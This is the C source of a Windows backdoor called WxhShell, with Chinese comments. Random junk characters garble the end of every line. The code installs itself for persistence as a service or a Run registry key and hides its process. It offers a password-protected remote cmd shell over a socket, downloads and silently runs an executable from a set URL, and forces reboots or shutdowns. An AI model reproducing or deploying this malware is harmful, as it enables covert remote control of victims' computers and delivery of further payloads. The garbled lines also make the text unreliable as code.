    if(Boot(SHUTDOWN)) >fI<g8N D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  pzezN  
    else { Q <EFd   
    closesocket(wsh); +O}6 8 N  
    ExitThread(0); w`,[w,t  
    } FZz\z p  
    break; )MLOYX  
    } D,dmlv  
  // 获取shell s d>&6 R^  
  case 's': { kg7oH.0E  
    CmdShell(wsh); g/W<;o<v(I  
    closesocket(wsh); cUaLv1:HI  
    ExitThread(0); R~CQ=KQ.  
    break; {*As-Y:'F  
  } I 6a{'c(P  
  // 退出 vY<(3[pp  
  case 'x': { CTbdY,=B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zF.rsNY  
    CloseIt(wsh); \szx.IZT  
    break; oA}&o_Q%  
    } M ZZ4  
  // 离开 Z&@X4X"q  
  case 'q': { =- ~82%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MFaK=1  
    closesocket(wsh); NTuS(7m  
    WSACleanup(); BQmg$N,F  
    exit(1); zht^gOs  
    break; U2=5Nt5  
        } wt[MzpRP  
  } %F9% t  
  } g}@_ @  
|! i3Y=X  
  // 提示信息 RO=[Rr!   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AQU4~g mI  
} li8l+5d q  
  } kWc%u-_  
.B{3=z^  
  return; ,(}7 ST  
} abuHu'73  
bKYLBu:  
// shell模块句柄 [Oe$E5qv)]  
int CmdShell(SOCKET sock) uz".!K[,wE  
{ %YM4x!6  
STARTUPINFO si; w#U3h]>,  
ZeroMemory(&si,sizeof(si)); /_l%Dm?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Sk0?WU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rJ]iJ0[I  
PROCESS_INFORMATION ProcessInfo; R8F[ 7&(  
char cmdline[]="cmd"; Y2!OJuyGc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j?29_Az  
  return 0; C,hs!v6  
} uJA8PfbD  
}k.-xaj  
// 自身启动模式 LpeQx\  
int StartFromService(void) l|^p;z: d  
{ 9XX&~GW/  
typedef struct = \AI92  
{ 1Wtr_A  
  DWORD ExitStatus; \eH~1@\S  
  DWORD PebBaseAddress; )t9<cJ=  
  DWORD AffinityMask; 2PE|4zG  
  DWORD BasePriority; 'W3>lAPx!  
  ULONG UniqueProcessId; _)O1v%]"4  
  ULONG InheritedFromUniqueProcessId; kih;'>H<  
}   PROCESS_BASIC_INFORMATION; {3lsDU4  
$GNN* WmHw  
PROCNTQSIP NtQueryInformationProcess; ~dC)EG  
)7Gm<r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3_~V(a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ovv~ymj  
}|%dN*',  
  HANDLE             hProcess; r@f8-!{s2h  
  PROCESS_BASIC_INFORMATION pbi; >y"W(  
q|b#=Af]g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '}e_8 FS  
  if(NULL == hInst ) return 0; m"<0sqD;  
>K1)XP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RmY5/IYR|:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _,"T;i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'U.)f@L#w  
<w` R ;  
  if (!NtQueryInformationProcess) return 0; _(5SiK R  
oS0l Tf\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ii%^z?'  
  if(!hProcess) return 0; B BbGq8p  
A&jkc'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]@vX4G/  
 #8MA+  
  CloseHandle(hProcess); *%7[{Loz  
YD H!N l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9cp-Rw<tI  
if(hProcess==NULL) return 0; ri1D*CS  
zR6,?Tzg  
HMODULE hMod; ('xIFi  
char procName[255]; zUXQl{  
unsigned long cbNeeded; I'HPy.PV  
Zy|B~.@<j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D+P(  
N9tH0  
  CloseHandle(hProcess); x2=Bu#Y  
x^Q:U1  
if(strstr(procName,"services")) return 1; // 以服务启动 P}29wrIZ  
8om6wALXB  
  return 0; // 注册表启动 /W1!mih  
} t6m3lq{  
Bha#=>4FU  
// 主模块 '#!nK O2<  
int StartWxhshell(LPSTR lpCmdLine) K'%2'd  
{ U>w#`Sy[  
  SOCKET wsl; ;{EIx*<d  
BOOL val=TRUE; }(A`aB_  
  int port=0; y G)xsY V  
  struct sockaddr_in door; Xyy;BO:  
n^B9Mh @  
  if(wscfg.ws_autoins) Install(); 3}(6z"r  
1)pwR3(^Fz  
port=atoi(lpCmdLine); ;>np2K<`  
GK .^Gd  
if(port<=0) port=wscfg.ws_port; 4~xKW2*`K  
k\BJs@-  
  WSADATA data; L[lX?g?Ob  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g"ha1<y<  
CuC1s>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SK [1h3d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `)%zk W  
  door.sin_family = AF_INET; :+NZW9_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S "'0l S   
  door.sin_port = htons(port); @&?E3?5ll  
`|coA2$rw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O 7RIcU  
closesocket(wsl); ,% "!8T  
return 1; h?R{5?RxK  
} J!Er%QUR  
G%^jgr)  
  if(listen(wsl,2) == INVALID_SOCKET) { *o.f<OwOz  
closesocket(wsl); SQ8xfD*  
return 1; \ne1Xu:hM  
} g%Bh-O9\  
  Wxhshell(wsl); /N= }wC  
  WSACleanup(); ?C)a0>L  
fn.KZ  
return 0; yJQ>u  
5;'(^z-bL  
} VzfaUAIZl  
h ` qlI1]  
// 以NT服务方式启动 fh_+M"Y0`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \c}_!.xj"  
{ N8x[8Rp  
DWORD   status = 0; <}75Xo  
  DWORD   specificError = 0xfffffff; Ha~F&H|"O  
p 4_j>JPv5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~MWI-oK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g>G+?PY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m}A|W[p<  
  serviceStatus.dwWin32ExitCode     = 0; TOapq9B]  
  serviceStatus.dwServiceSpecificExitCode = 0; GT.1,E ,Vw  
  serviceStatus.dwCheckPoint       = 0; 6&| hpp#[  
  serviceStatus.dwWaitHint       = 0; Y`F)UwKK  
$B%wK`J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Q $}LR@  
  if (hServiceStatusHandle==0) return; (xpt_]Q!H  
J^<Gi/:*^  
status = GetLastError(); Drm#z05i[g  
  if (status!=NO_ERROR) RO+ jVY~H-  
{ ~,ZU+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P.bxq50  
    serviceStatus.dwCheckPoint       = 0; JLd-{}A""-  
    serviceStatus.dwWaitHint       = 0; Gyx4}pV  
    serviceStatus.dwWin32ExitCode     = status; /tm2b<G  
    serviceStatus.dwServiceSpecificExitCode = specificError; >~@O\n-t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $7h]A$$Fv  
    return; 4Vtu g>  
  } 1lo. X_  
_%g L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P:D;w2'Q  
  serviceStatus.dwCheckPoint       = 0; 8\WV.+  
  serviceStatus.dwWaitHint       = 0; RW~!)^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yY[9\!  
} {zX]4 1T  
nQGl]2  
// 处理NT服务事件,比如:启动、停止 dG&^M ".(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UQZl:DYa  
{ [Ef6@  
switch(fdwControl) QB uX#bDV  
{ 5(zdM)Y7  
case SERVICE_CONTROL_STOP: Q XSS  
  serviceStatus.dwWin32ExitCode = 0; |L/EH~| O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a\m_Q{:  
  serviceStatus.dwCheckPoint   = 0; n6AA%? 5  
  serviceStatus.dwWaitHint     = 0; g(_xo\  
  { "QD>m7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W4;/;[/L  
  } GCf,Gfmr  
  return; vA3wn><  
case SERVICE_CONTROL_PAUSE: dx@|M{jz'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mj&G5R~_  
  break; LBxmozT  
case SERVICE_CONTROL_CONTINUE: Vv54;Js9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  `j1oxJm  
  break; azz=,^U#  
case SERVICE_CONTROL_INTERROGATE: |\zzOfaO  
  break; *\.8*6*$!  
}; rJZR8bo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (> W \Nf  
} +7\d78U  
'-U&S  
// 标准应用程序主函数 ]p8 zT|bv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) * N]^(+/A  
{ .k:heN2-x  
">._&8KkE0  
// 获取操作系统版本 0iYo&q'n  
OsIsNt=GetOsVer(); _01wRsm%2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nb<e<>L  
u,V_j|(e  
  // 从命令行安装 _tUh*"e&  
  if(strpbrk(lpCmdLine,"iI")) Install(); \q($8<  
{xAd>fGG+y  
  // 下载执行文件 vPz$+&{I  
if(wscfg.ws_downexe) { y\omJx=,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e2e!"kEF  
  WinExec(wscfg.ws_filenam,SW_HIDE); oXjoQ  
} 9X?RJ."J  
+4$][3.  
if(!OsIsNt) { :8K}e]!c1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?K+q~DzNSD  
HideProc(); ~NZL~p  
StartWxhshell(lpCmdLine); ;j.-6#n  
} @9eN\b%I^H  
else cYp/? \  
  if(StartFromService()) zauDwV=  
  // 以服务方式启动 6P3h955c  
  StartServiceCtrlDispatcher(DispatchTable); I8a3:)  
else UX+vU@Co[  
  // 普通方式启动 $xT9e  
  StartWxhshell(lpCmdLine); WkiPrQ0]:  
"OwK-  
return 0; ]5K+W  
} QChncIqc  
Q 0G5<:wc  
gu6%$z  
g<@Q)p*ow  
=========================================== ),CKuq>  
? cXW\A(  
/IN#1I!K  
I_5/e> 9  
U shIQh  
s7afj t  
" 76bMy4re  
hxzA1s%~  
#include <stdio.h> CuD}Uo+u  
#include <string.h> O wuc9  
#include <windows.h> C6EGM/m8  
#include <winsock2.h> C{,^4Eh3r  
#include <winsvc.h> 9dw* ++  
#include <urlmon.h> KF6C=,Yc%  
p^|6 /b  
#pragma comment (lib, "Ws2_32.lib") wZZ~!"O &  
#pragma comment (lib, "urlmon.lib") N8pV[\f  
.X qeO@z  
#define MAX_USER   100 // 最大客户端连接数 81"` B2  
#define BUF_SOCK   200 // sock buffer  =n5n  
#define KEY_BUFF   255 // 输入 buffer _Dd>e=v  
#|4G,!  
#define REBOOT     0   // 重启 T60pw  
#define SHUTDOWN   1   // 关机 jz`3xFy *]  
7Q]c=i cg  
#define DEF_PORT   5000 // 监听端口 `LNhamp  
67hfve  
#define REG_LEN     16   // 注册表键长度 7*j!ZUzp  
#define SVC_LEN     80   // NT服务名长度 9Vqy<7i1  
>s 6ye  
// 从dll定义API ^D5Jqh)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pmUf*u-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 76"4Q!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r<vy6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VP>*J`'H  
[zBi*%5O  
// wxhshell配置信息 O^3kPVr  
struct WSCFG { [al$sCD]+  
  int ws_port;         // 监听端口 (:qc[,m  
  char ws_passstr[REG_LEN]; // 口令 r88De=*  
  int ws_autoins;       // 安装标记, 1=yes 0=no `<yQ`Y_X  
  char ws_regname[REG_LEN]; // 注册表键名 I ^m  
  char ws_svcname[REG_LEN]; // 服务名 ax>j3HKi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m3BL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #GLW3}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,% Qh S5e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'UUj(1 f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f+Acs*. GQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WB?HY?[r  
(w#t V*  
}; #gqh0 2 7  
m0 As t<u  
// default Wxhshell configuration zxx\jpBBk  
struct WSCFG wscfg={DEF_PORT, BO#tn{(#  
    "xuhuanlingzhe", yw$4Hlj5  
    1, n8F~!|lQ0  
    "Wxhshell", k'PvTWR  
    "Wxhshell", 5LB{b]w7m  
            "WxhShell Service", h Fik>B#!  
    "Wrsky Windows CmdShell Service", 0W}qp?  
    "Please Input Your Password: ", 9M;t4Um  
  1, RSe4 lw  
  "http://www.wrsky.com/wxhshell.exe", ZaU8eg7  
  "Wxhshell.exe"  k`Ifl)  
    }; -1Dq_!i  
p d#Sn+&rf  
// 消息定义模块 6_4 B!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7M~sol[*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5gtf`ebs/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RzjUrt  
char *msg_ws_ext="\n\rExit."; gT_KOO0n  
char *msg_ws_end="\n\rQuit."; \$ipnQv  
char *msg_ws_boot="\n\rReboot..."; t$z[ ja=  
char *msg_ws_poff="\n\rShutdown..."; ^\AeX-q2v'  
char *msg_ws_down="\n\rSave to "; #'q7 x  
Inv`C,$7Q#  
char *msg_ws_err="\n\rErr!"; kFwFPK%B  
char *msg_ws_ok="\n\rOK!"; E{&MmrlL,  
.a]#AFX  
char ExeFile[MAX_PATH]; -1,0hmn=+  
int nUser = 0; /V:9*C  
HANDLE handles[MAX_USER]; [K.1 X=O}  
int OsIsNt; Q}|K29Y:p  
X8Q'*  
SERVICE_STATUS       serviceStatus; LXK!4(xaW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8s$6R|ti  
|g)C `k  
// 函数声明 /T)E&=Ds  
int Install(void); /7 Tm2Vj8  
int Uninstall(void); PQkw)D<n]_  
int DownloadFile(char *sURL, SOCKET wsh); ve ysW(z  
int Boot(int flag); Zt!A!Afu  
void HideProc(void); Os@b8V 8,A  
int GetOsVer(void); Fs(PVN  
int Wxhshell(SOCKET wsl); Z-Qp9G'   
void TalkWithClient(void *cs); b/'c h  
int CmdShell(SOCKET sock); Mg.%&vH\  
int StartFromService(void); N! 7}B  
int StartWxhshell(LPSTR lpCmdLine); = 'NV3by  
hr}f5Z)^v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &7f8\TG|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 80*hi)ux[  
b& +zAt.  
// 数据结构和表定义 \~l_w ,Poo  
SERVICE_TABLE_ENTRY DispatchTable[] = M_};J;  
{ cdt9hH`Cd  
{wscfg.ws_svcname, NTServiceMain}, l,7& z  
{NULL, NULL} hc3hU   
}; ZOqS"3j! j  
x%=CEe?6  
// 自我安装 KOS0Du  
int Install(void) H\R a*EO~j  
{ 'd+fGx7i  
  char svExeFile[MAX_PATH]; ki9&AFs2X  
  HKEY key; /RxP:>hVv  
  strcpy(svExeFile,ExeFile); '\I(n|\  
2+gbMd4n  
// 如果是win9x系统,修改注册表设为自启动 p H  y  
if(!OsIsNt) { C7FQc {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yV!4Im.>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cy]=Y  
  RegCloseKey(key); js<d"m*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @gD) pH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {*7MT}{(  
  RegCloseKey(key); Ai < beUS  
  return 0; wQ/* f9  
    } 3F2IL)Hn  
  } :+,;5  
} = ^NvUrK  
else { bV8+E u  
B`B =bn+4  
// 如果是NT以上系统,安装为系统服务 \v Ajg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eBrNhE-[G]  
if (schSCManager!=0)  l(?B0  
{ etr-\Cp  
  SC_HANDLE schService = CreateService b# N"} -\^  
  ( jmID@37t  
  schSCManager, X_TjJmc  
  wscfg.ws_svcname, 0SIC=p=J  
  wscfg.ws_svcdisp, ETdXk&AN  
  SERVICE_ALL_ACCESS, ! I@w3`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KS$t  
  SERVICE_AUTO_START, _6NUtU  
  SERVICE_ERROR_NORMAL, *p}mn#ru-  
  svExeFile, gF{ehU%  
  NULL, v|%41xOsr  
  NULL, bmv8nal<Y  
  NULL, lGd'_~'=  
  NULL, 1MLL  
  NULL D~6[C:m  
  ); %e E^Y<@g  
  if (schService!=0) + Q-b}  
  { tK%ie\  
  CloseServiceHandle(schService); fjRVYOG#  
  CloseServiceHandle(schSCManager); OUv<a `0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pLB2! +  
  strcat(svExeFile,wscfg.ws_svcname); b/'bhE=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d05xn7%!{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Xn2xOP  
  RegCloseKey(key); n%&L&G  
  return 0; Ay16/7h@hi  
    } $D^\[^S  
  } IOl_J>D]F  
  CloseServiceHandle(schSCManager); X.fVbePxUU  
} n[3z_Q I  
} Qg*\aa94  
0\dmp'j]  
return 1; "6f`hy  
} +/ukS6>gr  
M~:_^B  
// 自我卸载 KZppQ0  
int Uninstall(void) ?"x4u#x  
{ C}8#yAS9M  
  HKEY key; "\b>JV5  
ic2 D$`M  
if(!OsIsNt) { u&:N`f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = l`)b  
  RegDeleteValue(key,wscfg.ws_regname); NIV}hf YF  
  RegCloseKey(key); #fuUAbU0X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v"G1vSx)BT  
  RegDeleteValue(key,wscfg.ws_regname); pDR~SxBXr  
  RegCloseKey(key); )eyzHB,H  
  return 0; *dBeb  
  } Fz7t84g(  
} Q|(}rIWOQA  
} s6 yvq#:  
else { T2e-RR  
QQl.5'PP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @nktD.  
if (schSCManager!=0) *g(d}C!  
{ s@\3|e5g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >. |({;n9  
  if (schService!=0) ?:;;0kSk  
  { b RR N  
  if(DeleteService(schService)!=0) { H/D=$)3op  
  CloseServiceHandle(schService); F!vrvlD`s  
  CloseServiceHandle(schSCManager); ,h*gd^i  
  return 0; N*Aw-\Bk  
  } N<)CG,/w[M  
  CloseServiceHandle(schService); @>8(f#S%  
  } 8}'iEj^e  
  CloseServiceHandle(schSCManager); ';I}6N  
} !nBbt?*  
} ._}}@V_/  
<o(;~  
return 1; E|@C:ghG  
} 4S_f2P2J  
S2$E`' J  
// 从指定url下载文件 qezWfR`  
int DownloadFile(char *sURL, SOCKET wsh) cIU2qFn[  
{ Z<vz%7w  
  HRESULT hr; A0{xt*g   
char seps[]= "/"; t!?`2Z5  
char *token; uMcI'=  
char *file; 'm`O34h  
char myURL[MAX_PATH]; 8~'cP?  
char myFILE[MAX_PATH];  Ng#psN  
`^)`J  
strcpy(myURL,sURL); lx`?n<-X  
  token=strtok(myURL,seps); _^<vp  
  while(token!=NULL) Cd%5XD^  
  { "hyfo,r  
    file=token; tiK M+ ;C  
  token=strtok(NULL,seps); bQaRl=:[:  
  } Jq_\r' YE  
S@,/$L  
GetCurrentDirectory(MAX_PATH,myFILE); +Br<;sW  
strcat(myFILE, "\\"); n_QuuUB  
strcat(myFILE, file); /$; Z ~^P  
  send(wsh,myFILE,strlen(myFILE),0); o-<i+To%  
send(wsh,"...",3,0); yhH2b:nY(9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uX7L1~s-  
  if(hr==S_OK) Pp?P9s {  
return 0; Q7+WV`&  
else KMhrw s{&B  
return 1; s\*p|vc  
aCU[9Xr?  
} 534pX7dg  
8{4'G$6  
// 系统电源模块  ^*P?gG  
int Boot(int flag) eXl?f_9  
{ @fd<  
  HANDLE hToken; cj>@Jx}]M  
  TOKEN_PRIVILEGES tkp; sUF$eVAT  
h[(YH ;Y  
  if(OsIsNt) { ^A ]4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |r@;ulO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O@$>'Z  
    tkp.PrivilegeCount = 1; 2-F7tcya|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xU\!UVQ/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ec7xwPk  
if(flag==REBOOT) { A+/Lt>+AS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q4mtfpiDx  
  return 0; dX?j /M-  
} G]B0LUT6c  
else { >\JP X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 29Uqdo  
  return 0; h%j4(v}r{C  
} s.z)l$  
  } B;bP~e>W  
  else { 'M%iS4b{IM  
if(flag==REBOOT) { | 6AR!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) icG 9x  
  return 0; i3 js'?7E  
} ZRhk2DA#FF  
else { )=)N9CRy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {tVA(&\<  
  return 0; jnV#Q ;  
} Gr({30"8  
} q~qz^E\T  
sD3Ts;k  
return 1; }%KQrlbHJl  
} "|6(.S+o  
>D=X Tgqqq  
// win9x进程隐藏模块 T#&1q]P1F  
void HideProc(void) h x^@aI  
{ #o&T$D5  
P.(UbF d'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pr>$m{ Z  
  if ( hKernel != NULL ) m#h`iW  
  { $I5|rB/4?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MKtI 3vi?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 51}C`j|V3{  
    FreeLibrary(hKernel); *42KLns  
  } {:cGt2*~^  
$ (&uaDYv  
return; @#wG)TA  
} y95  #t  
eHx {[J?  
// 获取操作系统版本 .UxkTads  
int GetOsVer(void)  !5 S#  
{ Mx}r! Q  
  OSVERSIONINFO winfo; ,$]m1|t@z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +^:uPW^U  
  GetVersionEx(&winfo); ufR|V-BWx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d Np%=gIj  
  return 1; [<+T@"y  
  else YWPkVvI  
  return 0; KMT$/I{p,  
} uJ"#j X  
UHJro9  
// 客户端句柄模块 ZV Ko$q:F  
int Wxhshell(SOCKET wsl) ycN!N  
{ Ds=d~sNu  
  SOCKET wsh; w[2E:Nj  
  struct sockaddr_in client; 1sUgjyGQ  
  DWORD myID; zRh)q,Dt  
V^(W)\  
  while(nUser<MAX_USER) 5P*jGOg.  
{ 319 4]  
  int nSize=sizeof(client); ; <- f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3meZ]u  
  if(wsh==INVALID_SOCKET) return 1; P'}EZ'  
JNU9RxR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u}'m7|)8  
if(handles[nUser]==0) yJx,4be  
  closesocket(wsh); %5ov!nm7  
else } %3;j5 ;6  
  nUser++; ,9OER!$y  
  } N#J8 4i;ry  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l2#~   
6hcs )X7m  
  return 0; #E4oq9{0*W  
} ^g'uR@uU  
"<oR.f=0  
// 关闭 socket wKW.sZ!S1  
void CloseIt(SOCKET wsh) P EzT|uY  
{ UXa%$gwFw  
closesocket(wsh); B_!S\?}$  
nUser--; Xk^<}Ep)c  
ExitThread(0); "97sH_ ,  
} BAqwYWdS  
R]Fa?uQW  
// 客户端请求句柄 QIwO _[Q  
void TalkWithClient(void *cs) s$^ 2Cuhv  
{ GWx?RIKF  
eT F s9$  
  SOCKET wsh=(SOCKET)cs; H1 ev W  
  char pwd[SVC_LEN]; _Wp, z`  
  char cmd[KEY_BUFF]; MNfc1I_#  
char chr[1]; g6q[ I8  
int i,j; [CnoMN  
} BP.t$_  
  while (nUser < MAX_USER) { r*7J#M /  
SM}& @cJ  
if(wscfg.ws_passstr) { NR^Z#BU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &sq q+&ao  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c:DV8'fT  
  //ZeroMemory(pwd,KEY_BUFF); <95*z @  
      i=0; ?r0>HvUf!l  
  while(i<SVC_LEN) { Vg7+G( ,  
AWZ4h,as{  
  // 设置超时 4YMUkwh  
  fd_set FdRead; OoOwEV2p_  
  struct timeval TimeOut; <SRSJJR|(  
  FD_ZERO(&FdRead); Ze`ms96j{  
  FD_SET(wsh,&FdRead); m,J9:S<5;  
  TimeOut.tv_sec=8; FOa2VP%  
  TimeOut.tv_usec=0; s 4 Uk5<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Si;eBPFH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kKQD$g.z6  
`C:J{`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )q7!CG'oY  
  pwd=chr[0]; f+Bv8 g  
  if(chr[0]==0xd || chr[0]==0xa) { QswFISch  
  pwd=0; uCFpH5>  
  break; 'kCr1t  
  } *xKY>E+  
  i++; R*"zLJP  
    } &'5 j!  
}e1]Ib!  
  // 如果是非法用户,关闭 socket Oi!uJofW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GQkI7C  
} ()$tP3 o  
w3Qil[rg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h*NBSvn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X{5(i3?S  
:EC[YAK+D  
while(1) { \T!tUd  
$8_b[~%2  
  ZeroMemory(cmd,KEY_BUFF); m!<uY?,hf  
%?`$#*f\%  
      // 自动支持客户端 telnet标准   H+5N+AKb@  
  j=0; ;#2yF34gv  
  while(j<KEY_BUFF) { -[lOf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DTV"~>@  
  cmd[j]=chr[0]; M[dJQ (  
  if(chr[0]==0xa || chr[0]==0xd) { r/ LgmVRn  
  cmd[j]=0; tw]Q5:6  
  break; ^X?3e1om  
  } c(S66lp  
  j++; _%aJ/Y0Cy  
    } P_c9v/  
.ktyA+r8v  
  // 下载文件 SnW>`  
  if(strstr(cmd,"http://")) { z`@|v~i0`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `oH6'+fT`;  
  if(DownloadFile(cmd,wsh)) &FzZpH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #.W<[KZf  
  else ytGcigw(P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,dk!hm u  
  } 6SD9lgF*-  
  else { |NWo.j>4-  
}W* q  
    switch(cmd[0]) { lZ}H?n%  
  B}p{$g!  
  // 帮助 m:{IVvN_  
  case '?': { h-:te9p6>4  
